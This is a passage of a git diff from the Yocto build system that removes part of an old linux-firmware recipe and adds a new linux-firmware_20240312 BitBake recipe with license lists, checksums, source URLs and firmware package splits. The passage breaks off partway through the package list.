-RDEPENDS_${PN}-iwlwifi-7265 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-7265d = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-8000c = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-8265 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-9000 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-misc = "${PN}-iwlwifi-license"
-
-# -iwlwifi-misc is a "catch all" package that includes all the iwlwifi
-# firmwares that are not already included in other -iwlwifi- packages.
-# -iwlwifi is a virtual package that depends upon all iwlwifi packages.
-# These are distinct in order to allow the -misc firmwares to be installed
-# without pulling in every other iwlwifi package.
-ALLOW_EMPTY_${PN}-iwlwifi = "1"
-ALLOW_EMPTY_${PN}-iwlwifi-misc = "1"
-
-# Handle package updating for the newly merged iwlwifi groupings
-RPROVIDES_${PN}-iwlwifi-7265 = "${PN}-iwlwifi-7265-8 ${PN}-iwlwifi-7265-9"
-RREPLACES_${PN}-iwlwifi-7265 = "${PN}-iwlwifi-7265-8 ${PN}-iwlwifi-7265-9"
-RCONFLICTS_${PN}-iwlwifi-7265 = "${PN}-iwlwifi-7265-8 ${PN}-iwlwifi-7265-9"
-
-RPROVIDES_${PN}-iwlwifi-7260 = "${PN}-iwlwifi-7260-7 ${PN}-iwlwifi-7260-8 ${PN}-iwlwifi-7260-9"
-RREPLACES_${PN}-iwlwifi-7260 = "${PN}-iwlwifi-7260-7 ${PN}-iwlwifi-7260-8 ${PN}-iwlwifi-7260-9"
-RCONFLICTS_${PN}-iwlwifi-7260 = "${PN}-iwlwifi-7260-7 ${PN}-iwlwifi-7260-8 ${PN}-iwlwifi-7260-9"
-
-# For ibt
-LICENSE_${PN}-ibt-license = "Firmware-ibt_firmware"
-LICENSE_${PN}-ibt-hw-37-7 = "Firmware-ibt_firmware"
-LICENSE_${PN}-ibt-hw-37-8 = "Firmware-ibt_firmware"
-LICENSE_${PN}-ibt-11-5 = "Firmware-ibt_firmware"
-LICENSE_${PN}-ibt-12-16 = "Firmware-ibt_firmware"
-LICENSE_${PN}-ibt-17 = "Firmware-ibt_firmware"
-LICENSE_${PN}-ibt-20 = "Firmware-ibt_firmware"
-LICENSE_${PN}-ibt-misc = "Firmware-ibt_firmware"
-
-FILES_${PN}-ibt-license = "${nonarch_base_libdir}/firmware/LICENCE.ibt_firmware"
-FILES_${PN}-ibt-hw-37-7 = "${nonarch_base_libdir}/firmware/intel/ibt-hw-37.7*.bseq"
-FILES_${PN}-ibt-hw-37-8 = "${nonarch_base_libdir}/firmware/intel/ibt-hw-37.8*.bseq"
-FILES_${PN}-ibt-11-5 = "${nonarch_base_libdir}/firmware/intel/ibt-11-5.sfi ${nonarch_base_libdir}/firmware/intel/ibt-11-5.ddc"
-FILES_${PN}-ibt-12-16 = "${nonarch_base_libdir}/firmware/intel/ibt-12-16.sfi ${nonarch_base_libdir}/firmware/intel/ibt-12-16.ddc"
-FILES_${PN}-ibt-17 = "${nonarch_base_libdir}/firmware/intel/ibt-17-*.sfi ${nonarch_base_libdir}/firmware/intel/ibt-17-*.ddc"
-FILES_${PN}-ibt-20 = "${nonarch_base_libdir}/firmware/intel/ibt-20-*.sfi ${nonarch_base_libdir}/firmware/intel/ibt-20-*.ddc"
-FILES_${PN}-ibt-misc = "${nonarch_base_libdir}/firmware/intel/ibt-*"
-
-RDEPENDS_${PN}-ibt-hw-37-7 = "${PN}-ibt-license"
-RDEPENDS_${PN}-ibt-hw-37.8 = "${PN}-ibt-license"
-RDEPENDS_${PN}-ibt-11-5 = "${PN}-ibt-license"
-RDEPENDS_${PN}-ibt-12-16 = "${PN}-ibt-license"
-RDEPENDS_${PN}-ibt-17 = "${PN}-ibt-license"
-RDEPENDS_${PN}-ibt-20 = "${PN}-ibt-license"
-RDEPENDS_${PN}-ibt-misc = "${PN}-ibt-license"
-
-ALLOW_EMPTY_${PN}-ibt= "1"
-ALLOW_EMPTY_${PN}-ibt-misc = "1"
-
-LICENSE_${PN}-i915 = "Firmware-i915"
-LICENSE_${PN}-i915-license = "Firmware-i915"
-FILES_${PN}-i915-license = "${nonarch_base_libdir}/firmware/LICENSE.i915"
-FILES_${PN}-i915 = "${nonarch_base_libdir}/firmware/i915"
-RDEPENDS_${PN}-i915 = "${PN}-i915-license"
-
-LICENSE_${PN}-ice = "Firmware-ice"
-LICENSE_${PN}-ice-license = "Firmware-ice"
-FILES_${PN}-ice-license = "${nonarch_base_libdir}/firmware/LICENSE.ice"
-FILES_${PN}-ice = "${nonarch_base_libdir}/firmware/intel/ice"
-RDEPENDS_${PN}-ice = "${PN}-ice-license"
-
-FILES_${PN}-adsp-sst-license = "${nonarch_base_libdir}/firmware/LICENCE.adsp_sst"
-LICENSE_${PN}-adsp-sst = "Firmware-adsp_sst"
-LICENSE_${PN}-adsp-sst-license = "Firmware-adsp_sst"
-FILES_${PN}-adsp-sst = "${nonarch_base_libdir}/firmware/intel/dsp_fw*"
-RDEPENDS_${PN}-adsp-sst = "${PN}-adsp-sst-license"
-
-# For QAT
-LICENSE_${PN}-qat = "Firmware-qat"
-LICENSE_${PN}-qat-license = "Firmware-qat"
-FILES_${PN}-qat-license = "${nonarch_base_libdir}/firmware/LICENCE.qat_firmware"
-FILES_${PN}-qat = "${nonarch_base_libdir}/firmware/qat*.bin"
-RDEPENDS_${PN}-qat = "${PN}-qat-license"
-
-# For QCOM VPU/GPU and SDM845
-LICENSE_${PN}-qcom-license = "Firmware-qcom"
-FILES_${PN}-qcom-license = "${nonarch_base_libdir}/firmware/LICENSE.qcom ${nonarch_base_libdir}/firmware/qcom/NOTICE.txt"
-FILES_${PN}-qcom-venus-1.8 = "${nonarch_base_libdir}/firmware/qcom/venus-1.8/*"
-FILES_${PN}-qcom-venus-4.2 = "${nonarch_base_libdir}/firmware/qcom/venus-4.2/*"
-FILES_${PN}-qcom-adreno-a3xx = "${nonarch_base_libdir}/firmware/qcom/a300_*.fw ${nonarch_base_libdir}/firmware/a300_*.fw"
-FILES_${PN}-qcom-adreno-a530 = "${nonarch_base_libdir}/firmware/qcom/a530*.*"
-FILES_${PN}-qcom-adreno-a630 = "${nonarch_base_libdir}/firmware/qcom/a630*.* ${nonarch_base_libdir}/firmware/qcom/sdm845/a630*.*"
-FILES_${PN}-qcom-sdm845-audio = "${nonarch_base_libdir}/firmware/qcom/sdm845/adsp*.*"
-FILES_${PN}-qcom-sdm845-compute = "${nonarch_base_libdir}/firmware/qcom/sdm845/cdsp*.*"
-FILES_${PN}-qcom-sdm845-modem = "${nonarch_base_libdir}/firmware/qcom/sdm845/mba.mbn ${nonarch_base_libdir}/firmware/qcom/sdm845/modem*.* ${nonarch_base_libdir}/firmware/qcom/sdm845/wlanmdsp.mbn"
-RDEPENDS_${PN}-qcom-venus-1.8 = "${PN}-qcom-license"
-RDEPENDS_${PN}-qcom-venus-4.2 = "${PN}-qcom-license"
-RDEPENDS_${PN}-qcom-adreno-a3xx = "${PN}-qcom-license"
-RDEPENDS_${PN}-qcom-adreno-a530 = "${PN}-qcom-license"
-RDEPENDS_${PN}-qcom-adreno-a630 = "${PN}-qcom-license"
-RDEPENDS_${PN}-qcom-sdm845-audio = "${PN}-qcom-license"
-RDEPENDS_${PN}-qcom-sdm845-compute = "${PN}-qcom-license"
-RDEPENDS_${PN}-qcom-sdm845-modem = "${PN}-qcom-license"
-
-FILES_${PN}-liquidio = "${nonarch_base_libdir}/firmware/liquidio"
-
-# For other firmwares
-# Maybe split out to separate packages when needed.
-LICENSE_${PN} = "\
- Firmware-Abilis \
- & Firmware-agere \
- & Firmware-amdgpu \
- & Firmware-amd-ucode \
- & Firmware-atmel \
- & Firmware-ca0132 \
- & Firmware-cavium \
- & Firmware-chelsio_firmware \
- & Firmware-cw1200 \
- & Firmware-dib0700 \
- & Firmware-e100 \
- & Firmware-ene_firmware \
- & Firmware-fw_sst_0f28 \
- & Firmware-go7007 \
- & Firmware-hfi1_firmware \
- & Firmware-i2400m \
- & Firmware-ibt_firmware \
- & Firmware-it913x \
- & Firmware-IntcSST2 \
- & Firmware-kaweth \
- & Firmware-moxa \
- & Firmware-myri10ge_firmware \
- & Firmware-nvidia \
- & Firmware-OLPC \
- & Firmware-ath9k-htc \
- & Firmware-phanfw \
- & Firmware-qat \
- & Firmware-qcom \
- & Firmware-qla1280 \
- & Firmware-qla2xxx \
- & Firmware-r8a779x_usb3 \
- & Firmware-radeon \
- & Firmware-ralink_a_mediatek_company_firmware \
- & Firmware-ralink-firmware \
- & Firmware-imx-sdma_firmware \
- & Firmware-siano \
- & Firmware-tda7706-firmware \
- & Firmware-ti-connectivity \
- & Firmware-ti-keystone \
- & Firmware-ueagle-atm4-firmware \
- & Firmware-wl1251 \
- & Firmware-xc4000 \
- & Firmware-xc5000 \
- & Firmware-xc5000c \
- & WHENCE \
-"
-
-FILES_${PN}-license += "${nonarch_base_libdir}/firmware/LICEN*"
-FILES_${PN} += "${nonarch_base_libdir}/firmware/*"
-RDEPENDS_${PN} += "${PN}-license"
-RDEPENDS_${PN} += "${PN}-whence-license"
-
-# Make linux-firmware depend on all of the split-out packages.
-# Make linux-firmware-iwlwifi depend on all of the split-out iwlwifi packages.
-# Make linux-firmware-ibt depend on all of the split-out ibt packages.
-python populate_packages_prepend () {
- firmware_pkgs = oe.utils.packages_filter_out_system(d)
- d.appendVar('RRECOMMENDS_linux-firmware', ' ' + ' '.join(firmware_pkgs))
-
- iwlwifi_pkgs = filter(lambda x: x.find('-iwlwifi-') != -1, firmware_pkgs)
- d.appendVar('RRECOMMENDS_linux-firmware-iwlwifi', ' ' + ' '.join(iwlwifi_pkgs))
-
- ibt_pkgs = filter(lambda x: x.find('-ibt-') != -1, firmware_pkgs)
- d.appendVar('RRECOMMENDS_linux-firmware-ibt', ' ' + ' '.join(ibt_pkgs))
-}
-
-# Firmware files are generally not ran on the CPU, so they can be
-# allarch despite being architecture specific
-INSANE_SKIP = "arch"
diff --git a/meta/recipes-kernel/linux-firmware/linux-firmware_20240312.bb b/meta/recipes-kernel/linux-firmware/linux-firmware_20240312.bb
new file mode 100644
index 0000000000..ff79bb9b33
--- /dev/null
+++ b/meta/recipes-kernel/linux-firmware/linux-firmware_20240312.bb
@@ -0,0 +1,1583 @@
+SUMMARY = "Firmware files for use with Linux kernel"
+HOMEPAGE = "https://www.kernel.org/"
+DESCRIPTION = "Linux firmware is a package distributed alongside the Linux kernel \
+that contains firmware binary blobs necessary for partial or full functionality \
+of certain hardware devices."
+SECTION = "kernel"
+
+LICENSE = "\
+ Firmware-Abilis \
+ & Firmware-adsp_sst \
+ & Firmware-agere \
+ & Firmware-amdgpu \
+ & Firmware-amd-ucode \
+ & Firmware-amlogic_vdec \
+ & Firmware-amphion_vpu \
+ & Firmware-atheros_firmware \
+ & Firmware-atmel \
+ & Firmware-broadcom_bcm43xx \
+ & Firmware-ca0132 \
+ & Firmware-cavium \
+ & Firmware-chelsio_firmware \
+ & Firmware-cirrus \
+ & Firmware-cnm \
+ & Firmware-cw1200 \
+ & Firmware-cypress \
+ & Firmware-dib0700 \
+ & Firmware-e100 \
+ & Firmware-ene_firmware \
+ & Firmware-fw_sst_0f28 \
+ & Firmware-go7007 \
+ & Firmware-hfi1_firmware \
+ & Firmware-i915 \
+ & Firmware-ibt_firmware \
+ & Firmware-ice \
+ & Firmware-ice_enhanced \
+ & Firmware-it913x \
+ & Firmware-iwlwifi_firmware \
+ & Firmware-IntcSST2 \
+ & Firmware-kaweth \
+ & Firmware-linaro \
+ & Firmware-Lontium \
+ & Firmware-Marvell \
+ & Firmware-mediatek \
+ & Firmware-microchip \
+ & Firmware-moxa \
+ & Firmware-myri10ge_firmware \
+ & Firmware-netronome \
+ & Firmware-nvidia \
+ & Firmware-nxp \
+ & Firmware-nxp_mc_firmware \
+ & Firmware-OLPC \
+ & Firmware-ath9k-htc \
+ & Firmware-phanfw \
+ & Firmware-powervr \
+ & Firmware-qat \
+ & Firmware-qcom \
+ & Firmware-qcom-yamato \
+ & Firmware-qla1280 \
+ & Firmware-qla2xxx \
+ & Firmware-qualcommAthos_ar3k \
+ & Firmware-qualcommAthos_ath10k \
+ & Firmware-r8a779x_usb3 \
+ & Firmware-radeon \
+ & Firmware-ralink_a_mediatek_company_firmware \
+ & Firmware-ralink-firmware \
+ & Firmware-rockchip \
+ & Firmware-rtlwifi_firmware \
+ & Firmware-imx-sdma_firmware \
+ & Firmware-siano \
+ & Firmware-ti-connectivity \
+ & Firmware-ti-keystone \
+ & Firmware-ueagle-atm4-firmware \
+ & Firmware-via_vt6656 \
+ & Firmware-wl1251 \
+ & Firmware-xc4000 \
+ & Firmware-xc5000 \
+ & Firmware-xc5000c \
+ & WHENCE \
+ & GPL-2.0-or-later \
+"
+
+LIC_FILES_CHKSUM = "file://LICENCE.Abilis;md5=b5ee3f410780e56711ad48eadc22b8bc \
+ file://LICENCE.adsp_sst;md5=615c45b91a5a4a9fe046d6ab9a2df728 \
+ file://LICENCE.agere;md5=af0133de6b4a9b2522defd5f188afd31 \
+ file://LICENSE.amdgpu;md5=a2589a05ea5b6bd2b7f4f623c7e7a649 \
+ file://LICENSE.amd-ucode;md5=6ca90c57f7b248de1e25c7f68ffc4698 \
+ file://LICENSE.amlogic_vdec;md5=dc44f59bf64a81643e500ad3f39a468a \
+ file://LICENSE.amphion_vpu;md5=2bcdc00527b2d0542bd92b52aaec2b60 \
+ file://LICENCE.atheros_firmware;md5=30a14c7823beedac9fa39c64fdd01a13 \
+ file://LICENSE.atmel;md5=aa74ac0c60595dee4d4e239107ea77a3 \
+ file://LICENCE.broadcom_bcm43xx;md5=3160c14df7228891b868060e1951dfbc \
+ file://LICENCE.ca0132;md5=209b33e66ee5be0461f13d31da392198 \
+ file://LICENCE.cadence;md5=009f46816f6956cfb75ede13d3e1cee0 \
+ file://LICENCE.cavium;md5=c37aaffb1ebe5939b2580d073a95daea \
+ file://LICENCE.chelsio_firmware;md5=819aa8c3fa453f1b258ed8d168a9d903 \
+ file://LICENSE.cirrus;md5=662ea2c1a8888f7d79ed7f27c27472e1 \
+ file://LICENCE.cnm;md5=93b67e6bac7f8fec22b96b8ad0a1a9d0 \
+ file://LICENCE.cw1200;md5=f0f770864e7a8444a5c5aa9d12a3a7ed \
+ file://LICENCE.cypress;md5=48cd9436c763bf873961f9ed7b5c147b \
+ file://LICENSE.dib0700;md5=f7411825c8a555a1a3e5eab9ca773431 \
+ file://LICENCE.e100;md5=ec0f84136766df159a3ae6d02acdf5a8 \
+ file://LICENCE.ene_firmware;md5=ed67f0f62f8f798130c296720b7d3921 \
+ file://LICENCE.fw_sst_0f28;md5=6353931c988ad52818ae733ac61cd293 \
+ file://LICENCE.go7007;md5=c0bb9f6aaaba55b0529ee9b30aa66beb \
+ file://LICENSE.hfi1_firmware;md5=5e7b6e586ce7339d12689e49931ad444 \
+ file://LICENSE.i915;md5=2b0b2e0d20984affd4490ba2cba02570 \
+ file://LICENCE.ibt_firmware;md5=fdbee1ddfe0fb7ab0b2fcd6b454a366b \
+ file://LICENSE.ice;md5=742ab4850f2670792940e6d15c974b2f \
+ file://LICENSE.ice_enhanced;md5=f305cfc31b64f95f774f9edd9df0224d \
+ file://LICENCE.IntcSST2;md5=9e7d8bea77612d7cc7d9e9b54b623062 \
+ file://LICENCE.it913x;md5=1fbf727bfb6a949810c4dbfa7e6ce4f8 \
+ file://LICENCE.iwlwifi_firmware;md5=2ce6786e0fc11ac6e36b54bb9b799f1b \
+ file://LICENCE.kaweth;md5=b1d876e562f4b3b8d391ad8395dfe03f \
+ file://LICENCE.linaro;md5=936d91e71cf9cd30e733db4bf11661cc \
+ file://LICENSE.Lontium;md5=4ec8dc582ff7295f39e2ca6a7b0be2b6 \
+ file://LICENCE.Marvell;md5=28b6ed8bd04ba105af6e4dcd6e997772 \
+ file://LICENCE.mediatek;md5=7c1976b63217d76ce47d0a11d8a79cf2 \
+ file://LICENCE.microchip;md5=db753b00305675dfbf120e3f24a47277 \
+ file://LICENCE.moxa;md5=1086614767d8ccf744a923289d3d4261 \
+ file://LICENCE.myri10ge_firmware;md5=42e32fb89f6b959ca222e25ac8df8fed \
+ file://LICENCE.Netronome;md5=4add08f2577086d44447996503cddf5f \
+ file://LICENCE.nvidia;md5=4428a922ed3ba2ceec95f076a488ce07 \
+ file://LICENCE.NXP;md5=58bb8ba632cd729b9ba6183bc6aed36f \
+ file://LICENSE.nxp;md5=cca321ca1524d6a1e4fed87486cd82dc \
+ file://LICENSE.nxp_mc_firmware;md5=9dc97e4b279b3858cae8879ae2fe5dd7 \
+ file://LICENCE.OLPC;md5=5b917f9d8c061991be4f6f5f108719cd \
+ file://LICENCE.open-ath9k-htc-firmware;md5=1b33c9f4d17bc4d457bdb23727046837 \
+ file://LICENCE.phanfw;md5=954dcec0e051f9409812b561ea743bfa \
+ file://LICENSE.powervr;md5=83045ed2a2cda15b4eaff682c98c9533 \
+ file://LICENCE.qat_firmware;md5=72de83dfd9b87be7685ed099a39fbea4 \
+ file://LICENSE.qcom;md5=164e3362a538eb11d3ac51e8e134294b \
+ file://LICENSE.qcom_yamato;md5=d0de0eeccaf1843a850bf7a6777eec5c \
+ file://LICENCE.qla1280;md5=d6895732e622d950609093223a2c4f5d \
+ file://LICENCE.qla2xxx;md5=505855e921b75f1be4a437ad9b79dff0 \
+ file://LICENSE.QualcommAtheros_ar3k;md5=b5fe244fb2b532311de1472a3bc06da5 \
+ file://LICENSE.QualcommAtheros_ath10k;md5=cb42b686ee5f5cb890275e4321db60a8 \
+ file://LICENCE.r8a779x_usb3;md5=4c1671656153025d7076105a5da7e498 \
+ file://LICENSE.radeon;md5=68ec28bacb3613200bca44f404c69b16 \
+ file://LICENCE.ralink_a_mediatek_company_firmware;md5=728f1a85fd53fd67fa8d7afb080bc435 \
+ file://LICENCE.ralink-firmware.txt;md5=ab2c269277c45476fb449673911a2dfd \
+ file://LICENCE.rockchip;md5=5fd70190c5ed39734baceada8ecced26 \
+ file://LICENCE.rtlwifi_firmware.txt;md5=00d06cfd3eddd5a2698948ead2ad54a5 \
+ file://LICENSE.sdma_firmware;md5=51e8c19ecc2270f4b8ea30341ad63ce9 \
+ file://LICENCE.siano;md5=4556c1bf830067f12ca151ad953ec2a5 \
+ file://LICENCE.ti-connectivity;md5=c5e02be633f1499c109d1652514d85ec \
+ file://LICENCE.ti-keystone;md5=3a86335d32864b0bef996bee26cc0f2c \
+ file://LICENCE.ueagle-atm4-firmware;md5=4ed7ea6b507ccc583b9d594417714118 \
+ file://LICENCE.via_vt6656;md5=e4159694cba42d4377a912e78a6e850f \
+ file://LICENCE.wl1251;md5=ad3f81922bb9e197014bb187289d3b5b \
+ file://LICENCE.xc4000;md5=0ff51d2dc49fce04814c9155081092f0 \
+ file://LICENCE.xc5000;md5=1e170c13175323c32c7f4d0998d53f66 \
+ file://LICENCE.xc5000c;md5=12b02efa3049db65d524aeb418dd87ca \
+ file://WHENCE;md5=${WHENCE_CHKSUM} \
+ "
+# WHENCE checksum is defined separately to ease overriding it if
+# class-devupstream is selected.
+WHENCE_CHKSUM = "514da1cd8b363373030f0c16749feb8d"
+
+# These are not common licenses, set NO_GENERIC_LICENSE for them
+# so that the license files will be copied from fetched source
+NO_GENERIC_LICENSE[Firmware-Abilis] = "LICENCE.Abilis"
+NO_GENERIC_LICENSE[Firmware-adsp_sst] = "LICENCE.adsp_sst"
+NO_GENERIC_LICENSE[Firmware-agere] = "LICENCE.agere"
+NO_GENERIC_LICENSE[Firmware-amdgpu] = "LICENSE.amdgpu"
+NO_GENERIC_LICENSE[Firmware-amd-ucode] = "LICENSE.amd-ucode"
+NO_GENERIC_LICENSE[Firmware-amlogic_vdec] = "LICENSE.amlogic_vdec"
+NO_GENERIC_LICENSE[Firmware-amphion_vpu] = "LICENSE.amphion_vpu"
+NO_GENERIC_LICENSE[Firmware-atheros_firmware] = "LICENCE.atheros_firmware"
+NO_GENERIC_LICENSE[Firmware-atmel] = "LICENSE.atmel"
+NO_GENERIC_LICENSE[Firmware-broadcom_bcm43xx] = "LICENCE.broadcom_bcm43xx"
+NO_GENERIC_LICENSE[Firmware-ca0132] = "LICENCE.ca0132"
+NO_GENERIC_LICENSE[Firmware-cadence] = "LICENCE.cadence"
+NO_GENERIC_LICENSE[Firmware-cavium] = "LICENCE.cavium"
+NO_GENERIC_LICENSE[Firmware-chelsio_firmware] = "LICENCE.chelsio_firmware"
+NO_GENERIC_LICENSE[Firmware-cirrus] = "LICENSE.cirrus"
+NO_GENERIC_LICENSE[Firmware-cnm] = "LICENCE.cnm"
+NO_GENERIC_LICENSE[Firmware-cw1200] = "LICENCE.cw1200"
+NO_GENERIC_LICENSE[Firmware-cypress] = "LICENCE.cypress"
+NO_GENERIC_LICENSE[Firmware-dib0700] = "LICENSE.dib0700"
+NO_GENERIC_LICENSE[Firmware-e100] = "LICENCE.e100"
+NO_GENERIC_LICENSE[Firmware-ene_firmware] = "LICENCE.ene_firmware"
+NO_GENERIC_LICENSE[Firmware-fw_sst_0f28] = "LICENCE.fw_sst_0f28"
+NO_GENERIC_LICENSE[Firmware-go7007] = "LICENCE.go7007"
+NO_GENERIC_LICENSE[Firmware-hfi1_firmware] = "LICENSE.hfi1_firmware"
+NO_GENERIC_LICENSE[Firmware-i915] = "LICENSE.i915"
+NO_GENERIC_LICENSE[Firmware-ibt_firmware] = "LICENCE.ibt_firmware"
+NO_GENERIC_LICENSE[Firmware-ice] = "LICENSE.ice"
+NO_GENERIC_LICENSE[Firmware-ice_enhanced] = "LICENSE.ice_enhanced"
+NO_GENERIC_LICENSE[Firmware-IntcSST2] = "LICENCE.IntcSST2"
+NO_GENERIC_LICENSE[Firmware-it913x] = "LICENCE.it913x"
+NO_GENERIC_LICENSE[Firmware-iwlwifi_firmware] = "LICENCE.iwlwifi_firmware"
+NO_GENERIC_LICENSE[Firmware-kaweth] = "LICENCE.kaweth"
+NO_GENERIC_LICENSE[Firmware-linaro] = "LICENCE.linaro"
+NO_GENERIC_LICENSE[Firmware-Lontium] = "LICENSE.Lontium"
+NO_GENERIC_LICENSE[Firmware-Marvell] = "LICENCE.Marvell"
+NO_GENERIC_LICENSE[Firmware-mediatek] = "LICENCE.mediatek"
+NO_GENERIC_LICENSE[Firmware-microchip] = "LICENCE.microchip"
+NO_GENERIC_LICENSE[Firmware-moxa] = "LICENCE.moxa"
+NO_GENERIC_LICENSE[Firmware-myri10ge_firmware] = "LICENCE.myri10ge_firmware"
+NO_GENERIC_LICENSE[Firmware-netronome] = "LICENCE.Netronome"
+NO_GENERIC_LICENSE[Firmware-nvidia] = "LICENCE.nvidia"
+NO_GENERIC_LICENSE[Firmware-nxp] = "LICENSE.nxp"
+NO_GENERIC_LICENSE[Firmware-nxp_mc_firmware] = "LICENSE.nxp_mc_firmware"
+NO_GENERIC_LICENSE[Firmware-OLPC] = "LICENCE.OLPC"
+NO_GENERIC_LICENSE[Firmware-ath9k-htc] = "LICENCE.open-ath9k-htc-firmware"
+NO_GENERIC_LICENSE[Firmware-phanfw] = "LICENCE.phanfw"
+NO_GENERIC_LICENSE[Firmware-powervr] = "LICENSE.powervr"
+NO_GENERIC_LICENSE[Firmware-qat] = "LICENCE.qat_firmware"
+NO_GENERIC_LICENSE[Firmware-qcom] = "LICENSE.qcom"
+NO_GENERIC_LICENSE[Firmware-qcom-yamato] = "LICENSE.qcom_yamato"
+NO_GENERIC_LICENSE[Firmware-qla1280] = "LICENCE.qla1280"
+NO_GENERIC_LICENSE[Firmware-qla2xxx] = "LICENCE.qla2xxx"
+NO_GENERIC_LICENSE[Firmware-qualcommAthos_ar3k] = "LICENSE.QualcommAtheros_ar3k"
+NO_GENERIC_LICENSE[Firmware-qualcommAthos_ath10k] = "LICENSE.QualcommAtheros_ath10k"
+NO_GENERIC_LICENSE[Firmware-r8a779x_usb3] = "LICENCE.r8a779x_usb3"
+NO_GENERIC_LICENSE[Firmware-radeon] = "LICENSE.radeon"
+NO_GENERIC_LICENSE[Firmware-ralink_a_mediatek_company_firmware] = "LICENCE.ralink_a_mediatek_company_firmware"
+NO_GENERIC_LICENSE[Firmware-ralink-firmware] = "LICENCE.ralink-firmware.txt"
+NO_GENERIC_LICENSE[Firmware-rockchip] = "LICENCE.rockchip"
+NO_GENERIC_LICENSE[Firmware-rtlwifi_firmware] = "LICENCE.rtlwifi_firmware.txt"
+NO_GENERIC_LICENSE[Firmware-siano] = "LICENCE.siano"
+NO_GENERIC_LICENSE[Firmware-imx-sdma_firmware] = "LICENSE.sdma_firmware"
+NO_GENERIC_LICENSE[Firmware-ti-connectivity] = "LICENCE.ti-connectivity"
+NO_GENERIC_LICENSE[Firmware-ti-keystone] = "LICENCE.ti-keystone"
+NO_GENERIC_LICENSE[Firmware-ueagle-atm4-firmware] = "LICENCE.ueagle-atm4-firmware"
+NO_GENERIC_LICENSE[Firmware-via_vt6656] = "LICENCE.via_vt6656"
+NO_GENERIC_LICENSE[Firmware-wl1251] = "LICENCE.wl1251"
+NO_GENERIC_LICENSE[Firmware-xc4000] = "LICENCE.xc4000"
+NO_GENERIC_LICENSE[Firmware-xc5000] = "LICENCE.xc5000"
+NO_GENERIC_LICENSE[Firmware-xc5000c] = "LICENCE.xc5000c"
+NO_GENERIC_LICENSE[WHENCE] = "WHENCE"
+
+PE = "1"
+
+SRC_URI = "\
+ ${KERNELORG_MIRROR}/linux/kernel/firmware/${BPN}-${PV}.tar.xz \
+"
+
+BBCLASSEXTEND = "devupstream:target"
+SRC_URI:class-devupstream = "git://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git;protocol=https;branch=main"
+# Pin this to the 20220509 release, override this in local.conf
+SRCREV:class-devupstream ?= "b19cbdca78ab2adfd210c91be15a22568e8b8cae"
+
+SRC_URI[sha256sum] = "b2327a54ad1897c828008caf63af5ee15469ba723a5016be58f2b44f07bd4b94"
+
+inherit allarch
+
+CLEANBROKEN = "1"
+
+# Use PACKAGECONFIG_CONFARGS to set the Makefile target
+PACKAGECONFIG ??= ""
+# Enabling dedup will turn duplicate firmware files into links
+PACKAGECONFIG[deduplicate] = "install,install-nodedup,rdfind-native"
+
+do_compile() {
+ :
+}
+
+do_install() {
+ oe_runmake 'DESTDIR=${D}' 'FIRMWAREDIR=${nonarch_base_libdir}/firmware' ${PACKAGECONFIG_CONFARGS}
+ cp LICEN[CS]E.* WHENCE ${D}${nonarch_base_libdir}/firmware/
+}
+
+
+PACKAGES =+ "${PN}-amphion-vpu-license ${PN}-amphion-vpu \
+ ${PN}-cw1200-license ${PN}-cw1200 \
+ ${PN}-ralink-license ${PN}-ralink \
+ ${PN}-mt76x-license ${PN}-mt7601u ${PN}-mt7650 ${PN}-mt76x2 \
+ ${PN}-radeon-license ${PN}-radeon \
+ ${PN}-amdgpu-license ${PN}-amdgpu \
+ ${PN}-marvell-license ${PN}-pcie8897 ${PN}-pcie8997 \
+ ${PN}-mediatek-license ${PN}-mediatek \
+ ${PN}-microchip-license ${PN}-microchip \
+ ${PN}-moxa-license ${PN}-moxa \
+ ${PN}-sd8686 ${PN}-sd8688 ${PN}-sd8787 ${PN}-sd8797 ${PN}-sd8801 \
+ ${PN}-sd8887 ${PN}-sd8897 ${PN}-sd8997 ${PN}-usb8997 \
+ ${PN}-ti-connectivity-license ${PN}-wlcommon ${PN}-wl12xx ${PN}-wl18xx \
+ ${PN}-ti-keystone-license ${PN}-ti-keystone \
+ ${PN}-vt6656-license ${PN}-vt6656 \
+ ${PN}-rs9113 ${PN}-rs9116 \
+ ${PN}-rtl-license ${PN}-rtl8188 ${PN}-rtl8192cu ${PN}-rtl8192ce ${PN}-rtl8192su ${PN}-rtl8723 ${PN}-rtl8821 \
+ ${PN}-rtl8761 \
+ ${PN}-rtl8168 \
+ ${PN}-rtl8822 \
+ ${PN}-rtl-nic \
+ ${PN}-cypress-license \
+ ${PN}-broadcom-license \
+ ${PN}-bcm-0bb4-0306 \
+ ${PN}-bcm43143 \
+ ${PN}-bcm43236b \
+ ${PN}-bcm43241b0 \
+ ${PN}-bcm43241b4 \
+ ${PN}-bcm43241b5 \
+ ${PN}-bcm43242a \
+ ${PN}-bcm4329 \
+ ${PN}-bcm4329-fullmac \
+ ${PN}-bcm4330 \
+ ${PN}-bcm4334 \
+ ${PN}-bcm43340 \
+ ${PN}-bcm4335 \
+ ${PN}-bcm43362 \
+ ${PN}-bcm4339 \
+ ${PN}-bcm43430 \
+ ${PN}-bcm43430a0 \
+ ${PN}-bcm43455 \
+ ${PN}-bcm4350 \
+ ${PN}-bcm4350c2 \
+ ${PN}-bcm4354 \
+ ${PN}-bcm4356 \
+ ${PN}-bcm4356-pcie \
+ ${PN}-bcm43569 \
+ ${PN}-bcm43570 \
+ ${PN}-bcm4358 \
+ ${PN}-bcm43602 \
+ ${PN}-bcm4366b \
+ ${PN}-bcm4366c \
+ ${PN}-bcm4371 \
+ ${PN}-bcm4373 \
+ ${PN}-bcm43xx \
+ ${PN}-bcm43xx-hdr \
+ ${PN}-cirrus-license ${PN}-cirrus \
+ ${PN}-cnm-license ${PN}-cnm \
+ ${PN}-atheros-license ${PN}-ar5523 ${PN}-ar9170 ${PN}-ath6k ${PN}-ath9k ${PN}-ath3k \
+ ${PN}-carl9170 \
+ ${PN}-ar3k-license ${PN}-ar3k ${PN}-ath10k-license ${PN}-ath10k ${PN}-ath11k ${PN}-qca \
+ \
+ ${PN}-imx-sdma-license ${PN}-imx-sdma-imx6q ${PN}-imx-sdma-imx7d \
+ \
+ ${PN}-iwlwifi-license ${PN}-iwlwifi \
+ ${PN}-iwlwifi-135-6 \
